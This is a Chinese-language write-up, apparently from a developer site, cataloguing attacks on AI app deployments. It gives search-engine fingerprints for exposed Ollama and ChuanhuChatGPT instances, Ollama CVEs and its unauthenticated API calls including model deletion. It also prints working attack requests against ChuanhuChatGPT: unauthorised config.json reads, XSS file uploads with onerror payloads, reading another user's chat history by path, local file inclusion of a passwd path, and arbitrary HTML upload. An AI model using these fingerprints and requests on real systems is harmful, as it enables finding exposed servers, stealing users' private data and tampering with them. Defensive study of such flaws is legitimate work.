前言

人工智能技术如ChatGPT、MetaAI、Gemini等,正以革命性的方式重塑我们的数字体验,赋予网络应用前所未有的效率与个性化能力。然而,当AI深度嵌入应用程序、API及后端系统时,其复杂性也悄然成为安全链条的脆弱一环。攻击者可通过输入操纵、逻辑漏洞利用或功能滥用,突破权限边界、窃取敏感数据甚至颠覆系统运行。

ollama

一个开源工具,允许在本地运行大语言模型,确保数据隐私和控制。

指纹:

app="Ollama" && is_domain=false

漏洞:

CVE-2024-28224CVE-2024-37032CVE-2024-39719CVE-2024-39720CVE-2024-39721CVE-2024-39722CVE-2024-45436
CVE-2024-39722在 Ollama 版本低于 0.1.46 中,发现了通过 api/push 路由的路径遍历问题该漏洞可暴露部署服务器上的文件存在情况。//获取模型信息/api/tags//生成文本接口POST /api/generate{"model": "<model-name>",  //模型名称"prompt": "<input-text>", //输入内容"stream": false,"options": {"temperature": 0.7,"max_tokens": 100}}//交谈接口POST /api/chat{"model": "<model-name>",  //模型名称"messages": [{"role": "user","content": "<input-text>"  //输入内容}],"stream": false,"options": {"temperature": 0.7,"max_tokens": 100}}//显示有关模型的详细信息,包括模型文件、模板、参数等POST /api/show{"model": "<model-name>", //模型名如:deepseek-r1:32b"verbose": true}//拉取模型接口POST /api/pull{"name": "<model-name>"}//5.慎用DELETE /api/delete{"model": "<model-name>"}

Chuanhugpt

指纹:

body="<meta name=\"application-name\" content=\"川虎 Chat\">"

漏洞:1、未授权访问

/file=config.json

2、XSS上传恶意的JS代码文件

POST /upload HTTP/1.1Host: 127.0.0.1:7860[...]-----------------------------231038340829311824402972658171Content-Disposition: form-data; name="files"; filename="hello3.txt"Content-Type: text/plainIT IS TOTALLY NORMAL DOCUMENTA LOT OF PAGES, A LOT OF WORDS[SOME CONTENT]hello hello hello hello hello hello hello hello hello hello, this is my payload: <img src=x onerror=alert(5)>a b c d e f g h i j k l m n o p q r s t u v x y z-----------------------------231038340829311824402972658171--

3、越权能够读取其他用户的聊天记录

/file=./history/jane_smith/Jane's%20sensitive%20data.json

4、本地文件包含

http://localhost:7860/file=./historyhttp://localhost:7860/file=./history/passwd

5、任意文件上传

POST /upload HTTP/1.1Host: 127.0.0.1:7860User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://127.0.0.1:7860/Content-Type: multipart/form-data; boundary=---------------------------330262580617276905211507475889Origin: http://127.0.0.1:7860Content-Length: 270Connection: closeCookie: _ga=GA1.1.898989309.1712525195; _gid=GA1.1.684123961.1712525195; _ga_R1FN4KJKJH=GS1.1.1712528655.2.1.1712528675.0.0.0Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin-----------------------------330262580617276905211507475889Content-Disposition: form-data; name="files"; filename="test.html"Content-Type: text/html<h1>test</h1><img src=x onerror=alert(1)>-----------------------------330262580617276905211507475889--
Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐